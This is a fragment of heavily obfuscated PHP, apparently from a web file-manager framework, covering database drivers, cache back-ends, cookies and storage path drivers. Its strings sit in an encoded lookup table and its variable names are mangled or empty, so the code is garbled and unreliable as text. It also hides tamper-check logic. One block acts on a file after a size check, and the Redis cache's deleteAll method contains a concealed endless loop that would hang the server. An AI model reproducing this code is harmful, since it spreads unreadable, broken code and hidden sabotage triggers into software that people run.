$Ư[970] . $ . $Ư[971]; } else { $չ = $Ư[972]; } } } $ = $this->query($չ); $ɦ = array(); foreach ($ as $ => $ƪ) { $ɦ[$] = current($ƪ); } return $ɦ; } protected function parseLimit($ћ) { $˒זؔ =& $_SERVER[]; $ = $˒זؔ[12]; if (!empty($ћ)) { switch ($this->dbType) { case $˒זؔ[1015]: case $˒זؔ[1007]: $ћ = explode($˒זؔ[50], $ћ); if (count($ћ) > 1) { $ .= $˒זؔ[51] . $ћ[1] . $˒זؔ[52] . $ћ[0] . $˒זؔ[53]; } else { $ .= $˒זؔ[51] . $ћ[0] . $˒זؔ[53]; } break; case $˒זؔ[988]: case $˒זؔ[1006]: break; case $˒זؔ[990]: break; case $˒זؔ[989]: case $˒זؔ[991]: break; case $˒זؔ[1018]: default: $ .= $˒זؔ[51] . $ћ . $˒זؔ[53]; } } return $; } public function parseKey(&$܆, $ϕ = true) { $ =& $_SERVER[]; if ($ϕ) { $܆ = $this->parseKeyCheck($܆); } if ($this->dbType == $[1018]) { if ($܆ != $[220] && !preg_match($[982], $܆)) { $܆ = $[461] . trim($܆, $[461]) . $[461]; } return $܆; } else { return parent::parseKey($܆, $ϕ); } } public function close() { $this->_linkID = null; } public function error() { $ऄ =& $_SERVER[]; if ($this->PDOStatement) { $Ӑ = $this->PDOStatement->errorInfo(); $this->error = $Ӑ[1] . $ऄ[4] . $Ӑ[2]; } else { $this->error = $ऄ[12]; } if ($ऄ[12] != $this->queryStr) { $this->error .= LNG($ऄ[48]) . $this->queryStr; } think_trace($this->error, $ऄ[12], $ऄ[49]); return $this->error; } public function escapeString($߫) { $ή =& $_SERVER[]; switch ($this->dbType) { case $ή[1015]: case $ή[988]: case $ή[1006]: case $ή[1018]: return addslashes($߫); case $ή[990]: case $ή[1007]: case $ή[989]: case $ή[991]: return str_ireplace($ή[58], $ή[59], $߫); } } protected function parseValue($Ů) { $ =& $_SERVER[]; if (is_string($Ů)) { $ = strpos($Ů, $[4]) === 0 && in_array($Ů, array_keys($this->bind)); $Ů = $ ? $this->escapeString($Ů) : $[1028] . $this->escapeString($Ů) . $[1028]; } elseif (isset($Ů[0]) && is_string($Ů[0]) && strtolower($Ů[0]) == $[373]) { $Ů = $this->escapeString($Ů[1]); } elseif (is_array($Ů)) { $Ů = array_map(array($this, $[1029]), $Ů); } elseif (is_bool($Ů)) { $Ů = $Ů ? $[91] : $[228]; } elseif (is_null($Ů)) { $Ů = $[106]; } return $Ů; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[1015]: case $[1007]: case $[988]: case $[1006]: case $[990]: case $[1018]: return $this->_linkID->lastInsertId(); case $[989]: case $[991]: $ = $this->table; $鯚؉ = $this->query("\123\x45\x4c\x45\103\124\40{$}\56\143\165\162\x72\x76\141\154\x20\x63\165\162\x72\x76\141\154\x20\x46\122\x4f\x4d\x20\144\165\141\154"); return $鯚؉ ? $鯚؉[0][$[1030]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($Ӷ) { $ۧ =& $_SERVER[]; if (!CacheLock::fileLock($ۧ[13])) { return !1; } $ǻ = parent::query($Ӷ); CacheLock::fileUnLock($ۧ[13]); return $ǻ; } public function execute($Ϡ) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $٦ = parent::execute($Ϡ); CacheLock::fileUnLock($[13]); return $٦; } } goto bѪ; dߚ: class Cache { protected static $handle; protected static $memoryCache; public static function init() { $鄧 =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$鄧[6]][$鄧[425]]; $Т = $[$[$鄧[901]]]; $ʱ = $[$鄧[902]]; switch ($[$鄧[901]]) { case $鄧[21]: self::$handle = Model($鄧[903]); break; case $鄧[904]: self::$handle = new CacheRedis($Т, $ʱ); break; case $鄧[905]: self::$handle = new CacheMemcached($Т, $ʱ); break; case $鄧[230]: self::$handle = new CacheFile($Т, $ʱ); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ܺꞱ) { if (is_array($ܺꞱ) || is_object($ܺꞱ)) { $ܺꞱ = json_encode($ܺꞱ); } $ܺꞱ = rawurlencode($ܺꞱ); return md5(KOD_SITE_ID . $_SERVER[][11] . $ܺꞱ); } public static function get($, $ܩ = false) { $ǻ = self::key($); $ = self::init(); if ($ܩ) { return unserialize($->get($ǻ)); } if (!isset(self::$memoryCache[$ǻ])) { $ԓ = $->get($ǻ); self::$memoryCache[$ǻ] = unserialize($ԓ); } return self::$memoryCache[$ǻ]; } public static function set($Ԭ, $ˤĪ, $ْ = false) { $ =& $_SERVER[]; $ = self::key($Ԭ); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $ˤĪ) { return !0; } if ($ْ === 0) { self::$memoryCache[$] = $ˤĪ; return !0; } $əػ = self::init(); $ = serialize($ˤĪ); CacheLock::lock($Ԭ . $[906]); $ü = $əػ->set($, $, $ْ); self::$memoryCache[$] = $ˤĪ; CacheLock::unlock($Ԭ . $[906]); return $ü; } public static function getCall($, $, $ͬ, $߯ = array()) { $ =& $_SERVER[]; $ = self::get($); if ($ || $ === $[12]) { return $; } $ = call_user_func_array($ͬ, $߯); $ = $ ? $ : $[12]; self::set($, $, $); return $; } public static function remove($֘) { $阇 = self::key($֘); unset(self::$memoryCache[$阇]); self::clearTimeout(); CacheLock::lock($֘); $Ľ쇎 = self::init()->remove($阇); CacheLock::unlock($֘); return $Ľ쇎; } public static function removeMemory($ۧ) { $߁ = self::key($ۧ); unset(self::$memoryCache[$߁]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][907])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][908])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $꠮) { $ =& $_SERVER[]; $this->cachePath = $[$[87]]; $this->prefix = $[909]; $this->cacheTime = $꠮; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($₅) { $ો =& $_SERVER[]; $₅ = str_replace(array($ો[910], $ો[100], $ો[76]), $ો[911], $₅); return $this->cachePath . $ો[912] . $₅ . $ો[913]; } public function set($, $؟, $Կ = false) { $Կ = $Կ ? $Կ : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $؟, LOCK_EX)) { @touch($, intval(time() + $Կ)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($Ӧ) { $ȧ = $this->getFile($Ӧ); if (file_exists($ȧ) && filemtime($ȧ) < time()) { @unlink($ȧ); return !1; } $ = @file_get_contents($ȧ); return substr($, strlen($this->prefix)); } public function remove($) { $ϰ = $this->getFile($); return @unlink($ϰ); } public function deleteAll() { $ =& $_SERVER[]; $˩Ĉ = scandir($this->cachePath); foreach ($˩Ĉ as $й) { $ = $this->cachePath . $й; if (strpos($, $[913]) && strpos($, $[914])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $윬 = scandir($this->cachePath); foreach ($윬 as $Ҡ) { $㌡ = $this->cachePath . $Ҡ; if (strpos($㌡, $[913]) && strpos($㌡, $[914]) && filemtime($㌡) < time()) { @unlink($㌡); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$[6]][$[425]]; self::$timeout = $[$[915]] ? $[$[915]] : 10; $駋 = _get($GLOBALS[$[6]], $[916]); $ = $[$[901]] ? $[$[901]] : $[230]; if ($ == $[21] && $駋 == $[13]) { $ = $[230]; } switch ($) { case $[904]: self::$handle = new CacheLockRedis(); break; case $[905]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[230]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[917], $[918]); } return self::$handle; } private static function key($) { return $_SERVER[][919] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ԓ = '') { self::$errorMsg = $ԓ; } public static function lockGlobal($ǂЛ, $翆) { return self::lock($ǂЛ, $翆, !0); } public static function lock($, $܏ = false, $Ǭؑ = false) { $ڮ =& $_SERVER[]; $ᚸ = self::init(); $ = self::key($); $܏ = $܏ ? $܏ : self::$timeout; $ = timeFloat(); $ = $ᚸ->lock($, $܏); $ = timeFloat(); if (!$) { $ = "\154\x6f\143\153\40\145\x72\x72\157\162\x3b\x6b\x65\x79\x3d{$}\x3b\164\x69\x6d\145\75{$܏}\x3b" . self::$errorMsg . $ڮ[74] . get_caller_msg(); $ׁ = LNG($ڮ[920]) . "\x28{$܏}\163\51\56" . LNG($ڮ[921]); $ׁ .= $ڮ[922]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ׁ = $ׁ . $ڮ[923] . self::$errorMsg; } write_log($ڮ[924] . sprintf($ڮ[925], timeFloat() - $) . $ڮ[926] . $ . $ڮ[927] . error_get_last(), $ڮ[918]); show_json($ׁ, !1); } if (!$Ǭؑ) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ÿ = number_format(timeFloat() - $, 3); write_log($ڮ[928] . $ . $ڮ[929] . $ÿ, $ڮ[918]); } return $; } public static function lockGet($Ն) { $ = self::key($Ն); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =& $_SERVER[]; $׭ѯ = self::key($); self::$lockItem[$׭ѯ] = null; self::init()->unlock($׭ѯ); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[930] . $, $[918]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $ = self::init(); $ = !1; foreach (self::$lockItem as $ٟ => $) { if (!$) { continue; } $->unlock($ٟ); if (!$) { $ = !0; write_log($[931] . $ٟ . $[74] . get_caller_msg(), $[918]); continue; } write_log($[931] . $ٟ, $[918]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ꏘ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[932] . $ꏘ . $[933] . ACTION, $[918]); } } public static function fileLock($) { $ =& $_SERVER[]; if (!$GLOBALS[$[934]]) { $GLOBALS[$[934]] = array(); } $GLOBALS[$[934]][$] = !1; $ʭ = fopen(DATA_PATH . $ . $[935], $[936]); if (!$ʭ) { return !1; } $GLOBALS[$[934]][$] = $ʭ; if (flock($ʭ, LOCK_EX)) { return !0; } self::unlock($); show_json($[937], !1); return !1; } public static function fileUnlock($䱣) { $ǂ =& $_SERVER[]; $͍ = $GLOBALS[$ǂ[934]][$䱣]; if (!$͍) { return; } $GLOBALS[$ǂ[934]][$䱣] = !1; flock($͍, LOCK_UN); fclose($͍); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[934]]) || !$GLOBALS[$[934]]) { return; } foreach ($GLOBALS[$[934]] as $dz => $ܱ) { if (!$ܱ) { continue; } $GLOBALS[$[934]][$dz] = !1; flock($ܱ, LOCK_UN); fclose($ܱ); } $GLOBALS[$[934]] = array(); } } goto E; eй: $_file = $_SERVER[$_SERVER[][844]]; $_size = $_SERVER[][845]; if ($_SERVER[$_SERVER[][846]] != $_size($_file)) { $_getc = $_SERVER[][847]; $_getfile = $_SERVER[$_SERVER[][848]] . $_SERVER[][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][687]) { $exit = $_SERVER[][850]; $exit(); } $_act = $_SERVER[][851]; $_act($_file); } goto C; a: class PathDriverDriverShareItem { public function __construct($̑) { $this->pathParse = $̑; } public function __call($دз, $) { $ =& $_SERVER[]; if (method_exists($this, $دз)) { return; } $֡ = call_user_func_array(array($[1420], $دз), $); $ = array($[1421], $[1422], $[1423], $[1424], $[618], $[620], $[1425], $[110], $[1426], $[1427]); if (in_array($دз, $)) { $֡ = $this->getPathOuter($֡); } return $֡; } public function copy($ڰ, $, $ = false, $ = false) { return $this->copyMove($ڰ, $, $, $_SERVER[][618], $); } public function move($DŽ˨, $ԅ, $Ԣ = false, $ = false) { return $this->copyMove($DŽ˨, $ԅ, $Ԣ, $_SERVER[][620], $); } private function copyMove($ǎ, $瀋, $, $Գ, $Ё = false) { $絬 =& $_SERVER[]; $̚ = $瀋; $յͤ = IO::driverMake($瀋); if ($յͤ->pathParse[$絬[1225]]) { $瀋 = $յͤ->pathParse[$絬[1225]]; } else { $瀋 = $̚; } $Ѻϗ = IO::copyMove($ǎ, $瀋, $, $Գ, $Ё); $Ѻϗ = $this->getPathOuter($Ѻϗ); return $Ѻϗ; } public function pathThis($⒭ȿ) { return get_path_this($this->pathParse[$_SERVER[][87]]); } public function pathFather($) { return get_path_father($this->pathParse[$_SERVER[][87]]); } public function iconvSystem($ћӸ) { return $ћӸ; } protected function infoParse($, $Ӻ̾ = false) { $ȩ =& $_SERVER[]; $Ů = $this->pathParse[$ȩ[560]][$ȩ[1250]] . $this->pathParse[$ȩ[1243]]; if ($Ӻ̾) { $ = IO::infoWithChildren($Ů); } else { $ = IO::info($Ů); } $б = $this->pathParse[$ȩ[560]]; return Action($ȩ[1418])->_shareItemeParse($, $б); } public function listAll($ը) { $ا =& $_SERVER[]; $ؓ = IO::listAll($ը); $ = rtrim($this->pathParse[$ا[560]][$ا[1250]], $ا[8]); foreach ($ؓ as &$،) { $،[$ا[87]] = $this->pathDriver . $ا[8] . ltrim(substr($،[$ا[87]], strlen($)), $ا[8]); } unset($،); return $ؓ; } public function listAllSimple($, $ = false) { $٪ =& $_SERVER[]; $ʶ = $this->listAll($); $Ф = $this->pathParse[$٪[495]]; if (trim($Ф, $٪[8]) == trim(get_path_father($Ф), $٪[8])) { $ = !0; } return IO::init($٪[12])->listAllSimpleMake($ʶ, $Ф, $); } public function getPathOuter($) { $Ύ =& $_SERVER[]; $ދ = KodIO::parse($); if ($ދ[$Ύ[33]] == KodIO::KOD_SHARE_ITEM) { return $ދ[$Ύ[87]]; } $ܜ = KodIO::clear($); $α = KodIO::clear($this->pathParse[$Ύ[560]][$Ύ[1250]]); $ = substr($ܜ, strlen($α)); if (substr($ܜ, 0, strlen($α)) != $α) { return !1; } return $this->pathParse[$Ύ[1244]] . $Ύ[8] . ltrim($, $Ύ[8]); } public function getType() { $ڝ =& $_SERVER[]; $Δ = str_replace($ڝ[77], $ڝ[12], get_class($this)); return strtolower($Δ); } public function isOsDriver($) { return IO::isOsDriver($); } public function info($刭) { return $this->infoParse($刭); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($ʼn) { return $this->infoParse($ʼn, !0); } public function infoFull($ߍ) { return $this->infoParse($ߍ); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($, $ = false) { $׼ލ =& $_SERVER[]; return Action($׼ލ[1249])->sharePathInfo($this->pathParse[$׼ލ[87]], !0, $); } public function listPath($鳳ޝ, $ = false) { $ =& $_SERVER[]; $ = IO::listPath($鳳ޝ, $); if (!$) { return $; } if (is_array($[$[1419]])) { $dž = Action($[1428])->parsePathChildren($[$[1419]], array($[495] => $鳳ޝ)); $[$[1419]] = Action($[1249])->shareItemInfo($dž); } foreach ($ as $ė => $￁) { if (!in_array($ė, array($[86], $[85]))) { continue; } foreach ($￁ as $Ժ => $dž) { $dž = Action($[1428])->parsePathChildren($dž, array($[495] => $鳳ޝ)); $[$ė][$Ժ] = Action($[1249])->shareItemInfo($dž); } } return $; } } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($Ƹ) { parent::__construct($Ƹ); $this->setSignVersion($_SERVER[][247]); } } goto BČ; dϝ: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[ۏԅ] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $) { return $ == $; } goto C; EđІ: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $Ġ) { $ӈ =& $_SERVER[]; if (!class_exists($ӈ[944])) { show_json($ӈ[945], !1); } $this->cacheTime = $Ġ; $ԟ = isset($[$ӈ[946]]) ? $[$ӈ[946]] : 10; $Ø = _get($, $ӈ[943]); if ($Ø && is_array($Ø)) { $this->initCluster($, $ԟ); } else { $this->handle = $this->init($, $ԟ); } } private function init($懥, $ȁ) { $Ѫ =& $_SERVER[]; $ = new Redis(); $ʱŕ = isset($懥[$Ѫ[947]]) ? $懥[$Ѫ[947]] : !1; if ($ʱŕ) { $->pconnect($懥[$Ѫ[208]], $懥[$Ѫ[209]], $ȁ); } else { $->connect($懥[$Ѫ[208]], $懥[$Ѫ[209]], $ȁ); } if (!empty($懥[$Ѫ[487]])) { $->auth($懥[$Ѫ[487]]); } if (!empty($懥[$Ѫ[824]]) && $懥[$Ѫ[824]] != 0) { $->select($懥[$Ѫ[824]]); } return $; } private function initCluster($œ, $ୱ) { $泷 =& $_SERVER[]; $ʾ = array($泷[948], $泷[949], $泷[950]); $ = $泷[948]; if (isset($œ[$泷[16]]) && in_array($œ[$泷[16]], $ʾ)) { $ = $œ[$泷[16]]; } switch ($) { case $泷[948]: $this->_slave($œ, $ୱ); break; case $泷[949]: break; case $泷[950]: $this->isCluster = !0; $ = $œ[$泷[943]]; $ = isset($œ[$泷[947]]) ? $œ[$泷[947]] : !1; $ = isset($œ[$泷[487]]) ? $œ[$泷[487]] : null; $this->handle = new RedisCluster(NUll, $, $ୱ, $ୱ, $, $); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[][943]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $ = array_rand($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$ܥ, $) { $ψ =& $_SERVER[]; $ɋ = explode($ψ[4], $); $Ȩ = array($ψ[208] => $ɋ[0], $ψ[209] => $ɋ[1]); $ܥ = array_merge($ܥ, $Ȩ); } public function set($đ, $, $мĦ = false) { $мĦ = $мĦ ? $мĦ : $this->cacheTime; return $this->handle->setEx($đ, $мĦ, $); } public function setLock($ю, $, $) { return $this->handle->setNX($ю, $); } public function get($ڿ) { $ܘۤ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $ܘۤ->get($ڿ); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[]; if (!isset($_SERVER[$[846]]) || !isset($_SERVER[$[844]])) { $ = $[951]; $ܜ = $[847]; $ = $_SERVER[$[848]] . $[849]; $ޜ֗ = $ܜ($); $ = explode($[262], $ޜ֗); if (count($) < $[683]) { $ХŎ = $[850]; $ХŎ(); } $ћȍ = $[952]; $ћȍ($_SERVER[$[953]]); $ڬ = 1; for ($ = $ڬ; $ > 0; $++) { $ћȍ = json_encode($GLOBALS[$[492]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $ް) { $this->handle->flushall($ް); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ = '', $ޥ = 0) { if (is_string($) && $ != $_SERVER[][12]) { $this->prefix = $; } if (is_numeric($ޥ) && $ޥ > 0) { $this->expire = $ޥ; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($쑆, $ާ, $֥ = 0, $˾ܗ = false, $ = false) { $˲ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$֥) { $֥ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$쑆]) && self::$sameCookieSet[$쑆] == $ާ . $֥) { return; } self::$sameCookieSet[$쑆] = $ާ . $֥; if (!$) { $ = str_replace(HOST, $˲[12], APP_HOST); $ = _get($GLOBALS, $˲[954], $); } $ = $˲[12]; setcookie($쑆, $ާ, time() + $֥, $˲[8] . trim($, $˲[8]) . $, !1, !1, $˾ܗ); } public static function setSafe($ө, $漾, $Ւ = 0) { self::set($ө, $漾, $Ւ, !0); } public static function get($͆) { static $􊂯 = false; if (!$􊂯) { self::initHeaderCookie(); $􊂯 = !0; } return isset($_COOKIE[$͆]) ? $_COOKIE[$͆] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[]; if (!isset($_SERVER[$[955]]) || !$_SERVER[$[955]]) { return; } $׫ = explode($[74], $_SERVER[$[955]]); foreach ($׫ as $ك) { $ك = explode($[506], $ك); if (count($ك) != 2 || !isset($ك[1])) { continue; } $_COOKIE[trim($ك[0])] = trim($ك[1]); } } public static function remove($㕶, $ = false) { unset($_COOKIE[$㕶]); self::set($㕶, $_SERVER[][12], 1, $); } } class DbMysql extends Db { public function __construct($ư = '') { $푪 =& $_SERVER[]; if (!extension_loaded($푪[879])) { think_exception(think_lang($푪[14]) . $푪[956]); } if (!empty($ư)) { $this->config = $ư; if (empty($this->config[$푪[17]])) { $this->config[$푪[17]] = $푪[12]; } } } public function connect($؈ = '', $ = 0, $ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($؈)) { $؈ = $this->config; } $ = $؈[$[957]] . ($؈[$[958]] ? "\x3a{$؈[$[958]]}" : $[12]); $ = !empty($؈[$[17]][$[18]]) ? $؈[$[17]][$[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($, $؈[$[959]], $؈[$[960]], 131072); } else { $this->linkID[$] = mysql_connect($, $؈[$[959]], $؈[$[960]], !0, 131072); } if (!$this->linkID[$] || !empty($؈[$[21]]) && !mysql_select_db($؈[$[21]], $this->linkID[$])) { think_exception(mysql_error()); } $Ŕ = mysql_get_server_info($this->linkID[$]); mysql_query($[961] . think_config($[962]) . $[58], $this->linkID[$]); if ($Ŕ > $[963]) { mysql_query($[964], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $բ =& $_SERVER[]; if (0 === stripos($, $բ[341])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($բ[23], 1); think_status($բ[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($׌) { $ԍك =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $׌; if ($this->queryID) { $this->free(); } think_action_status($ԍك[25], 1); think_status($ԍك[24]); $֨ = mysql_query($׌, $this->_linkID); $this->debug(); if (!1 === $֨) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][965], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $䢆 = mysql_query($_SERVER[][966], $this->_linkID); $this->transTimes = 0; if (!$䢆) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Å = mysql_query($_SERVER[][967], $this->_linkID); $this->transTimes = 0; if (!$Å) { $this->error(); return !1; } } return !0; } private function getAll() { $ԁڋ = array(); if ($this->numRows > 0) { while ($Ģ = mysql_fetch_assoc($this->queryID)) { $ԁڋ[] = $Ģ; } mysql_data_seek($this->queryID, 0); } return $ԁڋ; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[968] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $ => $Ӯ) { $[$Ӯ[$[31]]] = array($[32] => $Ӯ[$[31]], $[33] => $Ӯ[$[34]], $[35] => (bool) (strtoupper($Ӯ[$[36]]) === $[969]), $[37] => $Ӯ[$[38]], $[39] => strtolower($Ӯ[$[40]]) == $[41], $[42] => strtolower($Ӯ[$[43]]) == $[44]); } } return $; } public function getTables($ڹ = '') { $㉯ =& $_SERVER[]; if (!empty($ڹ)) { $홎 = $㉯[970] . $ڹ . $㉯[971]; } else { $홎 = $㉯[972]; } $ӝ = $this->query($홎); $Ǵ = array(); foreach ($ӝ as $ => $) { $Ǵ[$] = current($); } return $Ǵ; } public function replace($Ǟ, $Ɩ = array()) { $׭ =& $_SERVER[]; foreach ($Ǟ as $ => $) { $ᠪ = $this->parseValue($); if (is_scalar($ᠪ)) { $Ɯ[] = $ᠪ; $[] = $this->parseKey($); } } $ = $׭[973] . $this->parseTable($Ɩ[$׭[356]]) . $׭[974] . implode($׭[50], $) . $׭[975] . implode($׭[50], $Ɯ) . $׭[976]; return $this->execute($); } public function insertAll($촸, $ = array(), $ = false) { $Ȱ =& $_SERVER[]; if (!is_array($촸[0])) { return !1; } $Ⱥ = array_keys($촸[0]); $‹ = array(); foreach ($촸 as $׳円) { $ = array(); foreach ($׳円 as $ => $Ј) { $Ј = $this->parseValue($Ј); if (is_scalar($Ј)) { $[] = $Ј; } } $‹[] = $Ȱ[337] . implode($Ȱ[50], $) . $Ȱ[976]; } array_walk($Ⱥ, array($this, $Ȱ[977])); $ = ($ ? $Ȱ[978] : $Ȱ[979]) . $Ȱ[980] . $this->parseTable($[$Ȱ[356]]) . $Ȱ[974] . implode($Ȱ[50], $Ⱥ) . $Ȱ[981] . implode($Ȱ[50], $‹); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $𓆨 =& $_SERVER[]; $this->error = mysql_errno() . $𓆨[4] . mysql_error($this->_linkID); if ($𓆨[12] != $this->queryStr) { $this->error .= LNG($𓆨[48]) . $this->queryStr; } think_trace($this->error, $𓆨[12], $𓆨[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$ѝ, $ڥ = true) { $鯣 =& $_SERVER[]; if ($ڥ) { $ѝ = $this->parseKeyCheck($ѝ); } if ($ѝ != $鯣[220] && !preg_match($鯣[982], $ѝ)) { $ѝ = $鯣[461] . trim($ѝ, $鯣[461]) . $鯣[461]; } return $ѝ; } } goto dߊ; Eт: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($̱) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($̱, $_SERVER[][8]); } return $̱; } public function iconvApp($) { return $; } public function iconvSystem($Ք) { return $Ք; } public function iconvTo($ĩ, $, $Ԓб) { $ =& $_SERVER[]; if (!$ĩ || !function_exists($[72])) { return $ĩ; } static $Ɛ = array(); $̭ = $ . $[73] . $Ԓб . $[74] . $ĩ; if (isset($Ɛ[$̭])) { return $Ɛ[$̭]; } if (function_exists($[75])) { $Я = @mb_convert_encoding($ĩ, $Ԓб, $); } else { $Я = @iconv($, $Ԓб, $ĩ); } $Я = $Я ? $Я : $ĩ; if (strstr($Я, $[76])) { $Я = str_replace($[76], $[11], $Я); } $Ɛ[$ . $[73] . $Ԓб . $[74] . $ĩ] = $Я; $Ɛ[$Ԓб . $[73] . $ . $[74] . $ĩ] = $ĩ; $Ɛ[$Ԓб . $[73] . $ . $[74] . $Я] = $ĩ; $Ɛ[$ . $[73] . $Ԓб . $[74] . $Я] = $Я; return $Я; } public function getPathInner($) { $ԝ = IO::init($); return $ԝ->path; } public function getPathOuter($) { $Վ =& $_SERVER[]; $̡Ԯ = strlen(trim($this->pathBase, $Վ[8])); $ = substr(trim($, $Վ[8]), $̡Ԯ); return $this->pathDriver . $Վ[8] . ltrim($, $Վ[8]); } public function isParentOf($, $) { $۲ =& $_SERVER[]; $ = rtrim(strtolower($), $۲[8]) . $۲[8]; $ = rtrim(strtolower($), $۲[8]) . $۲[8]; $ = strpos($, $) === 0; return $; } public function getType() { $ת =& $_SERVER[]; $۩ = str_replace($ת[77], $ת[12], get_class($this)); return strtolower($۩); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ē, $ѕ) { $ﴴ =& $_SERVER[]; $ = rtrim($ē, $ﴴ[8]) . $ﴴ[8] . $ѕ; $ؙ = $this->exist($); return $ؙ ? $ : !1; } public function setModifyTime($ҳﺩ, $牣 = '') { } public function renameObject($ר, $) { $꫺ = $; $ר = $this->getPathOuter($ר); $ = $this->pathFather($ר) . $; $ = IO::copy($ר, $this->pathFather($ר), REPEAT_RENAME_FOLDER, $꫺); if ($) { IO::remove($ר); } return $ ? $ : !1; } public function tempFile($ = '', $ = '') { if (!$) { $ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ = $ . $; @touch($); if ($) { file_put_contents($, $); } return $; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($ٛ, $ = '', $徚ֳ = REPEAT_RENAME) { } public function mkdir($, $⻅ = REPEAT_SKIP) { } public function delFile($Ԑ) { } public function delFolder($ʴє) { } public function copyFile($, $Ʋ) { } public function moveFile($҉, $) { } public function remove($٩) { if ($this->isFile($٩)) { return $this->delFile($٩); } return $this->delFolder($٩); } public function rename($, $) { } public function exist($׏) { } public function findByHash($ = '', $졋̥ = '') { return !1; } public function isFile($) { } public function isFolder($ˆݤ) { } public function size($) { } public function 